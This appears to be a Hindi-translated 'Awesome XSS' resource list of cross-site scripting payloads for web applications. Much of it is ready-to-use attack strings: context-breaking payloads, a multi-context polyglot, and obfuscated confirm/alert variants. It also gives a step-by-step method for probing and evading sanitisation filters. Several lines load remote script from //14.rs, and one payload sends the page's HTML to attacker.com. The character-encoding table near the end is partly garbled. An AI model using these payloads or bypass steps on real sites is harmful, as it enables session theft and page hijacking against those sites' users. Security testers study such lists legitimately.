
अद्भुत XSS सामग्री
यह रिपॉजिटरी अद्भुत XSS संसाधनों का एक संग्रह है। योगदान का स्वागत है और इसे एक मुद्दे के माध्यम से प्रस्तुत किया जाना चाहिए।
जैक मासा द्वारा एक सुंदर XSS माइंड मैप, यहाँ
असुरक्षितअसुरक्षित नहींस्रोत: एक इनपुट जिसे बाहरी (अविश्वसनीय) स्रोत द्वारा नियंत्रित किया जा सकता है।
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 या बाद का Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
सिंक: एक संभावित खतरनाक विधि जो कमजोरी का कारण बन सकती है। इस मामले में एक DOM आधारित XSS।
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
यह व्यापक सूची सिंक और स्रोतों की domxsswiki से ली गई है।
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
यहाँ एक XSS पॉलीग्लॉट है जो मैंने बनाया है जो 20+ संदर्भों से बाहर निकल सकता है:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
यह कैसे काम करता है इसकी व्याख्या, यहाँ
कुछ कम पहचाने गए इवेंट हैंडलर्स
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
कुछ HTML टैग जिनका आप उपयोग करेंगे
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
केस: <tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
केस: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
केस: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
हाँ, कन्फर्म क्योंकि अलर्ट बहुत मुख्यधारा है।
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
यदि इसमें से कुछ भी काम नहीं करता है, तो अद्भुत बायपासिंग अनुभाग देखें
सबसे पहले, एक गैर-दुर्भावनापूर्ण स्ट्रिंग दर्ज करें जैसे d3v और स्रोत कोड देखकर प्रतिबिंबों की संख्या और संदर्भों का अंदाजा लगाएं।
अब एट्रीब्यूट संदर्भ के लिए, जाँचें कि क्या डबल कोट्स (") को फ़िल्टर किया जा रहा है, x"d3v दर्ज करके। यदि यह x"d3v में बदल जाता है, तो संभावना है कि आउटपुट ठीक से एस्केप हो रहा है। यदि ऐसा होता है, तो सिंगल कोट्स (') के लिए भी ऐसा ही करने का प्रयास करें x'd3v दर्ज करके, यदि यह x' में बदल जाता है, तो आप बर्बाद हैं। एकमात्र चीज़ जो आप आज़मा सकते हैं वह एन्कोडिंग है।
यदि कोट्स फ़िल्टर नहीं किए जा रहे हैं, तो आप बस अद्भुत संदर्भ तोड़ना अनुभाग से पेलोड आज़मा सकते हैं।
जावास्क्रिप्ट संदर्भ के लिए, जाँचें कि कौन से कोट्स का उपयोग किया जा रहा है, उदाहरण के लिए यदि वे कर रहे हैं
variable = 'value' या variable = "value"
अब मान लें कि सिंगल कोट्स (') का उपयोग हो रहा है, तो x'd3v दर्ज करें। यदि यह x\'d3v में बदल जाता है, तो बैकस्लैश () को एस्केप करने का प्रयास करें अपने प्रोब में एक बैकस्लैश जोड़कर यानी x\'d3v. यदि यह काम करता है तो निम्नलिखित पेलोड का उपयोग करें:
\'-alert()//
लेकिन यदि यह x\\\'d3v में बदल जाता है, तो एकमात्र चीज़ जो आप आज़मा सकते हैं वह है स्क्रिप्ट टैग को स्वयं बंद करना:
</script><svg onload=alert()>
सरल HTML संदर्भ के लिए, प्रोब x<d3v है। यदि यह x>d3v में बदल जाता है, तो उचित स्वच्छता मौजूद है। यदि यह ज्यों का त्यों दिखाई देता है, तो संभावित फिल्टर की जांच के लिए एक डमी टैग दर्ज करें। मुझे जो डमी टैग पसंद है वह x<xxx> है। यदि यह किसी भी तरह से हटा या बदला जाता है, तो इसका मतलब है कि फिल्टर < और > की जोड़ी ढूंढ रहा है। इसे आसानी से बायपास किया जा सकता है:
<svg onload=alert()//
या यह (सभी मामलों में काम नहीं करेगा)
<svg onload=alert()
यदि आपके डमी टैग स्रोत कोड में ज्यों के त्यों आते हैं, तो इनमें से किसी भी पेलोड का उपयोग करें:
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
नोट: इनमें से कोई भी पेलोड सिंगल (') या डबल कोट्स (") का उपयोग नहीं करता है।
<object data=javascript:confirm()>
<a href=javascript:confirm()>यहाँ क्लिक करें
<script src=//14.rs></script>
<script>confirm()</script>
<svg/onload=confirm()>
<svg onload=confirm()>
<script>confirm()</script>
<svg onload=confirm()//
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
<x onclick=confirm()>यहाँ क्लिक करें
<x ondrag=aconfirm()>इसे खींचें
</ScRipT>
</script
</script/>
</script x>
http(s):// को // या /\\ या \\ में छोटा किया जा सकता है।document.cookie को cookie में छोटा किया जा सकता है। यह अन्य DOM ऑब्जेक्ट पर भी लागू होता है।alert('XSS') करना बंद करें और alert() करना शुरू करें।> के बजाय // का उपयोग कर सकते हैं।confirm सबसे कम पहचाना जाने वाला पॉप-अप फ़ंक्शन है, इसलिए alert का उपयोग बंद करें।<script src=//14.rs> का उपयोग कर सकते हैं के बजाय।जब तक निर्दिष्ट न किया जाए, सभी पेलोड मेरे द्वारा बनाए गए हैं।
| HTML | चार | संख्यात्मक | विवरण | हेक्स | CSS (ISO) | JS (ऑक्टल) | URL |
|---|
" | " | " | उद्धरण चिह्न | u+0022 | \0022 | \42 | %22 |
# | # | # | संख्या चिह्न | u+0023 | \0023 | \43 | %23 |
$ | $ | $ | डॉलर चिह्न | u+0024 | \0024 | \44 | %24 |
% | % | % | प्रतिशत चिह्न | u+0025 | \0025 | \45 | %25 |
& | & | & | एम्परसेंड | u+0026 | \0026 | \46 | %26 |
' | ' | ' | अपोस्ट्रॉफी | u+0027 | \0027 | \47 | %27 |
( | ( | ( | बायाँ कोष्ठक | u+0028 | \0028 | \50 | %28 |
) | ) | ) | दायाँ कोष्ठक | u+0029 | \0029 | \51 | %29 |
* | * | * | तारांकन | u+002A | \002a | \52 | %2A |
+ | + | + | जोड़ चिह्न | u+002B | \002b | \53 | %2B |
, | , | , | अल्पविराम | u+002C | \002c | \54 | %2C |
− | - | - | हाइफन-माइनस | u+002D | \002d | \55 | %2D |
. | . | . | पूर्ण विराम; अवधि | u+002E | \002e | \56 | %2E |
/ | / | / | सॉलिडस; स्लैश | u+002F | \002f | \57 | %2F |
: | : | : | कोलन | u+003A | \003a | \72 | %3A |
; | ; | ; | अर्धविराम | u+003B | \003b | \73 | %3B |
< | < | < | से कम | u+003C | \003c | \74 | %3C |
= | = | = | बराबर | u+003D | \003d | \75 | %3D |
> | > | > | से बड़ा चिह्न | u+003E | \003e | \76 | %3E |
? | ? | ? | प्रश्न चिह्न | u+003F | \003f | \77 | %3F |
@ | @ | @ | एट चिह्न; व्यावसायिक एट | u+0040 | \0040 | \100 | %40 |
[ | [ | [ | बायाँ वर्ग कोष्ठक | u+005B | \005b | \133 | %5B |
\ | \ | \ | बैकस्लैश | u+005C | \005c | \134 | %5C |
] | ] | ] | दायाँ वर्ग कोष्ठक | u+005D | \005d | \135 | %5D |
^ | ^ | ^ | सर्कमफ्लेक्स उच्चारण | u+005E | \005e | \136 | %5E |
_ | _ | _ | निम्न रेखा | u+005F | \005f | \137 | %5F |
` | ` | ` | ग्रेव उच्चारण | u+0060 | \0060 | \u0060 | %60 |
{ | { | { | बायाँ घुंघराला कोष्ठक | u+007b | \007b | \173 | %7b |
| | | | | | ऊर्ध्वाधर रेखा | u+007c | \007c | \174 | %7c |
} | } | } | दायाँ घुंघराला कोष्ठक | u+007d | \007d | \175 | %7d |
<script src="//14.rs"><script src=//14.rs> (19 वर्ण) है।